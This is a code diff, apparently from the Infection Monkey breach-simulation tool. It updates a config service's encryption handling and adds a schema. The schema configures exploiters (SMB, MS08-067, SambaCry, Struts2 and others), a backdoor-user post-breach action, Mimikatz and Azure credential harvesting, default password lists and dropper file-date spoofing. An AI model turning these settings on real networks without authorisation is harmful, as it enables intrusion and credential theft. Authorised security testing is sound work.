"default": True,
|
|
||||||
"description": "Determines whether to use VBS or BITS to download monkey to remote machine"
|
|
||||||
" (true=VBS, false=BITS)"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"sambacry": {
|
|
||||||
"title": "SambaCry",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"sambacry_trigger_timeout": {
|
|
||||||
"title": "SambaCry trigger timeout",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 5,
|
|
||||||
"description": "Timeout (in seconds) of SambaCry trigger"
|
|
||||||
},
|
|
||||||
"sambacry_folder_paths_to_guess": {
|
|
||||||
"title": "SambaCry folder paths to guess",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
'/',
|
|
||||||
'/mnt',
|
|
||||||
'/tmp',
|
|
||||||
'/storage',
|
|
||||||
'/export',
|
|
||||||
'/share',
|
|
||||||
'/shares',
|
|
||||||
'/home'
|
|
||||||
],
|
|
||||||
"description": "List of full paths to share folder for SambaCry to guess"
|
|
||||||
},
|
|
||||||
"sambacry_shares_not_to_check": {
|
|
||||||
"title": "SambaCry shares not to check",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
"IPC$", "print$"
|
|
||||||
],
|
|
||||||
"description": "These shares won't be checked when exploiting with SambaCry"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"smb_service": {
|
|
||||||
"title": "SMB service",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"smb_download_timeout": {
|
|
||||||
"title": "SMB download timeout",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 300,
|
|
||||||
"description":
|
|
||||||
"Timeout (in seconds) for SMB download operation (used in various exploits using SMB)"
|
|
||||||
},
|
|
||||||
"smb_service_name": {
|
|
||||||
"title": "SMB service name",
|
|
||||||
"type": "string",
|
|
||||||
"default": "InfectionMonkey",
|
|
||||||
"description": "Name of the SMB service that will be set up to download monkey"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"network": {
|
|
||||||
"title": "Network",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"tcp_scanner": {
|
|
||||||
"title": "TCP scanner",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"HTTP_PORTS": {
|
|
||||||
"title": "HTTP ports",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "integer"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
80,
|
|
||||||
8080,
|
|
||||||
443,
|
|
||||||
8008,
|
|
||||||
7001
|
|
||||||
],
|
|
||||||
"description": "List of ports the monkey will check if are being used for HTTP"
|
|
||||||
},
|
|
||||||
"tcp_target_ports": {
|
|
||||||
"title": "TCP target ports",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "integer"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
22,
|
|
||||||
2222,
|
|
||||||
445,
|
|
||||||
135,
|
|
||||||
3389,
|
|
||||||
80,
|
|
||||||
8080,
|
|
||||||
443,
|
|
||||||
8008,
|
|
||||||
3306,
|
|
||||||
9200,
|
|
||||||
7001
|
|
||||||
],
|
|
||||||
"description": "List of TCP ports the monkey will check whether they're open"
|
|
||||||
},
|
|
||||||
"tcp_scan_interval": {
|
|
||||||
"title": "TCP scan interval",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 200,
|
|
||||||
"description": "Time to sleep (in milliseconds) between scans"
|
|
||||||
},
|
|
||||||
"tcp_scan_timeout": {
|
|
||||||
"title": "TCP scan timeout",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 3000,
|
|
||||||
"description": "Maximum time (in milliseconds) to wait for TCP response"
|
|
||||||
},
|
|
||||||
"tcp_scan_get_banner": {
|
|
||||||
"title": "TCP scan - get banner",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description": "Determines whether the TCP scan should try to get the banner"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"ping_scanner": {
|
|
||||||
"title": "Ping scanner",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"ping_scan_timeout": {
|
|
||||||
"title": "Ping scan timeout",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 1000,
|
|
||||||
"description": "Maximum time (in milliseconds) to wait for ping response"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"options": {
|
|
||||||
"collapsed": True
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
# This should be used for config values of array type (array of strings only)
|
||||||
ENCRYPTED_CONFIG_ARRAYS = \
|
ENCRYPTED_CONFIG_ARRAYS = \
|
||||||
[
|
[
|
||||||
['basic', 'credentials', 'exploit_password_list'],
|
['basic', 'credentials', 'exploit_password_list'],
|
||||||
|
@ -885,6 +24,12 @@ ENCRYPTED_CONFIG_ARRAYS = \
|
||||||
['internal', 'exploits', 'exploit_ssh_keys']
|
['internal', 'exploits', 'exploit_ssh_keys']
|
||||||
]
|
]
|
||||||
|
|
||||||
|
# This should be used for config values of string type
|
||||||
|
ENCRYPTED_CONFIG_STRINGS = \
|
||||||
|
[
|
||||||
|
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
class ConfigService:
|
class ConfigService:
|
||||||
default_config = None
|
default_config = None
|
||||||
|
@ -921,8 +66,11 @@ class ConfigService:
|
||||||
config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}, {config_key: 1})
|
config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}, {config_key: 1})
|
||||||
for config_key_part in config_key_as_arr:
|
for config_key_part in config_key_as_arr:
|
||||||
config = config[config_key_part]
|
config = config[config_key_part]
|
||||||
if should_decrypt and (config_key_as_arr in ENCRYPTED_CONFIG_ARRAYS):
|
if should_decrypt:
|
||||||
config = [encryptor.dec(x) for x in config]
|
if config_key_as_arr in ENCRYPTED_CONFIG_ARRAYS:
|
||||||
|
config = [encryptor.dec(x) for x in config]
|
||||||
|
elif config_key_as_arr in ENCRYPTED_CONFIG_STRINGS:
|
||||||
|
config = encryptor.dec(config)
|
||||||
return config
|
return config
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -985,9 +133,14 @@ class ConfigService:
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def update_config(config_json, should_encrypt):
|
def update_config(config_json, should_encrypt):
|
||||||
if should_encrypt:
|
if should_encrypt:
|
||||||
ConfigService.encrypt_config(config_json)
|
try:
|
||||||
|
ConfigService.encrypt_config(config_json)
|
||||||
|
except KeyError as e:
|
||||||
|
logger.error('Bad configuration file was submitted.')
|
||||||
|
return False
|
||||||
mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
|
mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
|
||||||
logger.info('monkey config was updated')
|
logger.info('monkey config was updated')
|
||||||
|
return True
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def init_default_config():
|
def init_default_config():
|
||||||
|
@ -1074,7 +227,7 @@ class ConfigService:
|
||||||
"""
|
"""
|
||||||
Same as decrypt_config but for a flat configuration
|
Same as decrypt_config but for a flat configuration
|
||||||
"""
|
"""
|
||||||
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
|
keys = [config_arr_as_array[2] for config_arr_as_array in (ENCRYPTED_CONFIG_ARRAYS + ENCRYPTED_CONFIG_STRINGS)]
|
||||||
for key in keys:
|
for key in keys:
|
||||||
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types):
|
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types):
|
||||||
# Check if we are decrypting ssh key pair
|
# Check if we are decrypting ssh key pair
|
||||||
|
@ -1088,18 +241,26 @@ class ConfigService:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _encrypt_or_decrypt_config(config, is_decrypt=False):
|
def _encrypt_or_decrypt_config(config, is_decrypt=False):
|
||||||
for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS:
|
for config_arr_as_array in (ENCRYPTED_CONFIG_ARRAYS + ENCRYPTED_CONFIG_STRINGS):
|
||||||
config_arr = config
|
config_arr = config
|
||||||
|
parent_config_arr = None
|
||||||
|
|
||||||
|
# Because the config isn't flat, this for-loop gets the actual config value out of the config
|
||||||
for config_key_part in config_arr_as_array:
|
for config_key_part in config_arr_as_array:
|
||||||
|
parent_config_arr = config_arr
|
||||||
config_arr = config_arr[config_key_part]
|
config_arr = config_arr[config_key_part]
|
||||||
|
|
||||||
for i in range(len(config_arr)):
|
if isinstance(config_arr, collections.Sequence) and not isinstance(config_arr, string_types):
|
||||||
# Check if array of shh key pairs and then decrypt
|
for i in range(len(config_arr)):
|
||||||
if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:
|
# Check if array of shh key pairs and then decrypt
|
||||||
config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \
|
if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:
|
||||||
ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
|
config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \
|
||||||
else:
|
ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
|
||||||
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
|
else:
|
||||||
|
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
|
||||||
|
else:
|
||||||
|
parent_config_arr[config_arr_as_array[-1]] =\
|
||||||
|
encryptor.dec(config_arr) if is_decrypt else encryptor.enc(config_arr)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def decrypt_ssh_key_pair(pair, encrypt=False):
|
def decrypt_ssh_key_pair(pair, encrypt=False):
|
||||||
|
|
|
@ -0,0 +1,880 @@
|
||||||
|
WARNING_SIGN = u" \u26A0"
|
||||||
|
|
||||||
|
|
||||||
|
SCHEMA = {
|
||||||
|
"title": "Monkey",
|
||||||
|
"type": "object",
|
||||||
|
"definitions": {
|
||||||
|
"exploiter_classes": {
|
||||||
|
"title": "Exploit class",
|
||||||
|
"type": "string",
|
||||||
|
"anyOf": [
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"SmbExploiter"
|
||||||
|
],
|
||||||
|
"title": "SMB Exploiter"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"WmiExploiter"
|
||||||
|
],
|
||||||
|
"title": "WMI Exploiter"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"RdpExploiter"
|
||||||
|
],
|
||||||
|
"title": "RDP Exploiter (UNSAFE)"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"Ms08_067_Exploiter"
|
||||||
|
],
|
||||||
|
"title": "MS08-067 Exploiter (UNSAFE)"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"SSHExploiter"
|
||||||
|
],
|
||||||
|
"title": "SSH Exploiter"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"ShellShockExploiter"
|
||||||
|
],
|
||||||
|
"title": "ShellShock Exploiter"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"SambaCryExploiter"
|
||||||
|
],
|
||||||
|
"title": "SambaCry Exploiter"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"ElasticGroovyExploiter"
|
||||||
|
],
|
||||||
|
"title": "ElasticGroovy Exploiter"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"Struts2Exploiter"
|
||||||
|
],
|
||||||
|
"title": "Struts2 Exploiter"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"WebLogicExploiter"
|
||||||
|
],
|
||||||
|
"title": "Oracle Web Logic Exploiter"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"HadoopExploiter"
|
||||||
|
],
|
||||||
|
"title": "Hadoop/Yarn Exploiter"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"post_breach_acts": {
|
||||||
|
"title": "Post breach actions",
|
||||||
|
"type": "string",
|
||||||
|
"anyOf": [
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"BackdoorUser"
|
||||||
|
],
|
||||||
|
"title": "Back door user",
|
||||||
|
},
|
||||||
|
],
|
||||||
|
},
|
||||||
|
"finger_classes": {
|
||||||
|
"title": "Fingerprint class",
|
||||||
|
"type": "string",
|
||||||
|
"anyOf": [
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"SMBFinger"
|
||||||
|
],
|
||||||
|
"title": "SMBFinger"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"SSHFinger"
|
||||||
|
],
|
||||||
|
"title": "SSHFinger"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"PingScanner"
|
||||||
|
],
|
||||||
|
"title": "PingScanner"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"HTTPFinger"
|
||||||
|
],
|
||||||
|
"title": "HTTPFinger"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"MySQLFinger"
|
||||||
|
],
|
||||||
|
"title": "MySQLFinger"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"MSSQLFinger"
|
||||||
|
],
|
||||||
|
"title": "MSSQLFinger"
|
||||||
|
},
|
||||||
|
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"ElasticFinger"
|
||||||
|
],
|
||||||
|
"title": "ElasticFinger"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"properties": {
|
||||||
|
"basic": {
|
||||||
|
"title": "Basic - Credentials",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"credentials": {
|
||||||
|
"title": "Credentials",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"exploit_user_list": {
|
||||||
|
"title": "Exploit user list",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
"Administrator",
|
||||||
|
"root",
|
||||||
|
"user"
|
||||||
|
],
|
||||||
|
"description": "List of usernames to use on exploits using credentials"
|
||||||
|
},
|
||||||
|
"exploit_password_list": {
|
||||||
|
"title": "Exploit password list",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
"Password1!",
|
||||||
|
"1234",
|
||||||
|
"password",
|
||||||
|
"12345678"
|
||||||
|
],
|
||||||
|
"description": "List of password to use on exploits using credentials"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"basic_network": {
|
||||||
|
"title": "Basic - Network",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"general": {
|
||||||
|
"title": "General",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"blocked_ips": {
|
||||||
|
"title": "Blocked IPs",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
],
|
||||||
|
"description": "List of IPs to not scan"
|
||||||
|
},
|
||||||
|
"local_network_scan": {
|
||||||
|
"title": "Local network scan",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description": "Determines whether the monkey should scan its subnets additionally"
|
||||||
|
},
|
||||||
|
"depth": {
|
||||||
|
"title": "Distance from island",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 2,
|
||||||
|
"description":
|
||||||
|
"Amount of hops allowed for the monkey to spread from the island. "
|
||||||
|
+ WARNING_SIGN
|
||||||
|
+ " Note that setting this value too high may result in the monkey propagating too far"
|
||||||
|
},
|
||||||
|
"subnet_scan_list": {
|
||||||
|
"title": "Scan IP/subnet list",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
],
|
||||||
|
"description":
|
||||||
|
"List of IPs/subnets the monkey should scan."
|
||||||
|
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"network_analysis": {
|
||||||
|
"title": "Network Analysis",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"inaccessible_subnets": {
|
||||||
|
"title": "Network segmentation testing",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
],
|
||||||
|
"description":
|
||||||
|
"Test for network segmentation by providing a list of"
|
||||||
|
" subnets that should NOT be accessible to each other."
|
||||||
|
" For example, given the following configuration:"
|
||||||
|
" '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'"
|
||||||
|
" a Monkey running on 10.0.0.5 will try to access machines in the following"
|
||||||
|
" subnets: 11.0.0.2/32, 12.2.3.0/24."
|
||||||
|
" An alert on successful connections will be shown in the report"
|
||||||
|
" Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"monkey": {
|
||||||
|
"title": "Monkey",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"general": {
|
||||||
|
"title": "General",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"alive": {
|
||||||
|
"title": "Alive",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description": "Is the monkey alive"
|
||||||
|
},
|
||||||
|
"post_breach_actions": {
|
||||||
|
"title": "Post breach actions",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"$ref": "#/definitions/post_breach_acts"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
"BackdoorUser",
|
||||||
|
],
|
||||||
|
"description": "List of actions the Monkey will run post breach"
|
||||||
|
},
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"behaviour": {
|
||||||
|
"title": "Behaviour",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"self_delete_in_cleanup": {
|
||||||
|
"title": "Self delete on cleanup",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": False,
|
||||||
|
"description": "Should the monkey delete its executable when going down"
|
||||||
|
},
|
||||||
|
"use_file_logging": {
|
||||||
|
"title": "Use file logging",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description": "Should the monkey dump to a log file"
|
||||||
|
},
|
||||||
|
"serialize_config": {
|
||||||
|
"title": "Serialize config",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": False,
|
||||||
|
"description": "Should the monkey dump its config on startup"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"system_info": {
|
||||||
|
"title": "System info",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"extract_azure_creds": {
|
||||||
|
"title": "Harvest Azure Credentials",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description":
|
||||||
|
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
|
||||||
|
},
|
||||||
|
"collect_system_info": {
|
||||||
|
"title": "Collect system info",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description": "Determines whether to collect system info"
|
||||||
|
},
|
||||||
|
"should_use_mimikatz": {
|
||||||
|
"title": "Should use Mimikatz",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description": "Determines whether to use Mimikatz"
|
||||||
|
},
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"life_cycle": {
|
||||||
|
"title": "Life cycle",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"max_iterations": {
|
||||||
|
"title": "Max iterations",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 1,
|
||||||
|
"description": "Determines how many iterations of the monkey's full lifecycle should occur"
|
||||||
|
},
|
||||||
|
"victims_max_find": {
|
||||||
|
"title": "Max victims to find",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 30,
|
||||||
|
"description": "Determines the maximum number of machines the monkey is allowed to scan"
|
||||||
|
},
|
||||||
|
"victims_max_exploit": {
|
||||||
|
"title": "Max victims to exploit",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 7,
|
||||||
|
"description":
|
||||||
|
"Determines the maximum number of machines the monkey"
|
||||||
|
" is allowed to successfully exploit. " + WARNING_SIGN
|
||||||
|
+ " Note that setting this value too high may result in the monkey propagating to "
|
||||||
|
"a high number of machines"
|
||||||
|
},
|
||||||
|
"timeout_between_iterations": {
|
||||||
|
"title": "Wait time between iterations",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 100,
|
||||||
|
"description":
|
||||||
|
"Determines for how long (in seconds) should the monkey wait between iterations"
|
||||||
|
},
|
||||||
|
"retry_failed_explotation": {
|
||||||
|
"title": "Retry failed exploitation",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description":
|
||||||
|
"Determines whether the monkey should retry exploiting machines"
|
||||||
|
" it didn't successfuly exploit on previous iterations"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"internal": {
|
||||||
|
"title": "Internal",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"general": {
|
||||||
|
"title": "General",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"singleton_mutex_name": {
|
||||||
|
"title": "Singleton mutex name",
|
||||||
|
"type": "string",
|
||||||
|
"default": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
||||||
|
"description":
|
||||||
|
"The name of the mutex used to determine whether the monkey is already running"
|
||||||
|
},
|
||||||
|
"keep_tunnel_open_time": {
|
||||||
|
"title": "Keep tunnel open time",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 60,
|
||||||
|
"description": "Time to keep tunnel open before going down after last exploit (in seconds)"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"classes": {
|
||||||
|
"title": "Classes",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"scanner_class": {
|
||||||
|
"title": "Scanner class",
|
||||||
|
"type": "string",
|
||||||
|
"default": "TcpScanner",
|
||||||
|
"enum": [
|
||||||
|
"TcpScanner"
|
||||||
|
],
|
||||||
|
"enumNames": [
|
||||||
|
"TcpScanner"
|
||||||
|
],
|
||||||
|
"description": "Determines class to scan for machines. (Shouldn't be changed)"
|
||||||
|
},
|
||||||
|
"finger_classes": {
|
||||||
|
"title": "Fingerprint classes",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"$ref": "#/definitions/finger_classes"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
"SMBFinger",
|
||||||
|
"SSHFinger",
|
||||||
|
"PingScanner",
|
||||||
|
"HTTPFinger",
|
||||||
|
"MySQLFinger",
|
||||||
|
"MSSQLFinger",
|
||||||
|
"ElasticFinger"
|
||||||
|
],
|
||||||
|
"description": "Determines which classes to use for fingerprinting"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"kill_file": {
|
||||||
|
"title": "Kill file",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"kill_file_path_windows": {
|
||||||
|
"title": "Kill file path on Windows",
|
||||||
|
"type": "string",
|
||||||
|
"default": "%windir%\\monkey.not",
|
||||||
|
"description": "Path of file which kills monkey if it exists (on Windows)"
|
||||||
|
},
|
||||||
|
"kill_file_path_linux": {
|
||||||
|
"title": "Kill file path on Linux",
|
||||||
|
"type": "string",
|
||||||
|
"default": "/var/run/monkey.not",
|
||||||
|
"description": "Path of file which kills monkey if it exists (on Linux)"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"dropper": {
|
||||||
|
"title": "Dropper",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"dropper_set_date": {
|
||||||
|
"title": "Dropper sets date",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description":
|
||||||
|
"Determines whether the dropper should set the monkey's file date to be the same as"
|
||||||
|
" another file"
|
||||||
|
},
|
||||||
|
"dropper_date_reference_path_windows": {
|
||||||
|
"title": "Dropper date reference path (Windows)",
|
||||||
|
"type": "string",
|
||||||
|
"default": "%windir%\\system32\\kernel32.dll",
|
||||||
|
"description":
|
||||||
|
"Determines which file the dropper should copy the date from if it's configured to do"
|
||||||
|
" so on Windows (use fullpath)"
|
||||||
|
},
|
||||||
|
"dropper_date_reference_path_linux": {
|
||||||
|
"title": "Dropper date reference path (Linux)",
|
||||||
|
"type": "string",
|
||||||
|
"default": "/bin/sh",
|
||||||
|
"description":
|
||||||
|
"Determines which file the dropper should copy the date from if it's configured to do"
|
||||||
|
" so on Linux (use fullpath)"
|
||||||
|
},
|
||||||
|
"dropper_target_path_linux": {
|
||||||
|
"title": "Dropper target path on Linux",
|
||||||
|
"type": "string",
|
||||||
|
"default": "/tmp/monkey",
|
||||||
|
"description": "Determines where should the dropper place the monkey on a Linux machine"
|
||||||
|
},
|
||||||
|
"dropper_target_path_win_32": {
|
||||||
|
"title": "Dropper target path on Windows (32bit)",
|
||||||
|
"type": "string",
|
||||||
|
"default": "C:\\Windows\\monkey32.exe",
|
||||||
|
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
||||||
|
"(32bit)"
|
||||||
|
},
|
||||||
|
"dropper_target_path_win_64": {
|
||||||
|
"title": "Dropper target path on Windows (64bit)",
|
||||||
|
"type": "string",
|
||||||
|
"default": "C:\\Windows\\monkey64.exe",
|
||||||
|
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
||||||
|
"(64 bit)"
|
||||||
|
},
|
||||||
|
"dropper_try_move_first": {
|
||||||
|
"title": "Try to move first",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description":
|
||||||
|
"Determines whether the dropper should try to move itsel instead of copying itself"
|
||||||
|
" to target path"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"logging": {
|
||||||
|
"title": "Logging",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"dropper_log_path_linux": {
|
||||||
|
"title": "Dropper log file path on Linux",
|
||||||
|
"type": "string",
|
||||||
|
"default": "/tmp/user-1562",
|
||||||
|
"description": "The fullpath of the dropper log file on Linux"
|
||||||
|
},
|
||||||
|
"dropper_log_path_windows": {
|
||||||
|
"title": "Dropper log file path on Windows",
|
||||||
|
"type": "string",
|
||||||
|
"default": "%temp%\\~df1562.tmp",
|
||||||
|
"description": "The fullpath of the dropper log file on Windows"
|
||||||
|
},
|
||||||
|
"monkey_log_path_linux": {
|
||||||
|
"title": "Monkey log file path on Linux",
|
||||||
|
"type": "string",
|
||||||
|
"default": "/tmp/user-1563",
|
||||||
|
"description": "The fullpath of the monkey log file on Linux"
|
||||||
|
},
|
||||||
|
"monkey_log_path_windows": {
|
||||||
|
"title": "Monkey log file path on Windows",
|
||||||
|
"type": "string",
|
||||||
|
"default": "%temp%\\~df1563.tmp",
|
||||||
|
"description": "The fullpath of the monkey log file on Windows"
|
||||||
|
},
|
||||||
|
"send_log_to_server": {
|
||||||
|
"title": "Send log to server",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description": "Determines whether the monkey sends its log to the Monkey Island server"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"exploits": {
|
||||||
|
"title": "Exploits",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"exploit_lm_hash_list": {
|
||||||
|
"title": "Exploit LM hash list",
|
||||||
|
"type": "array",
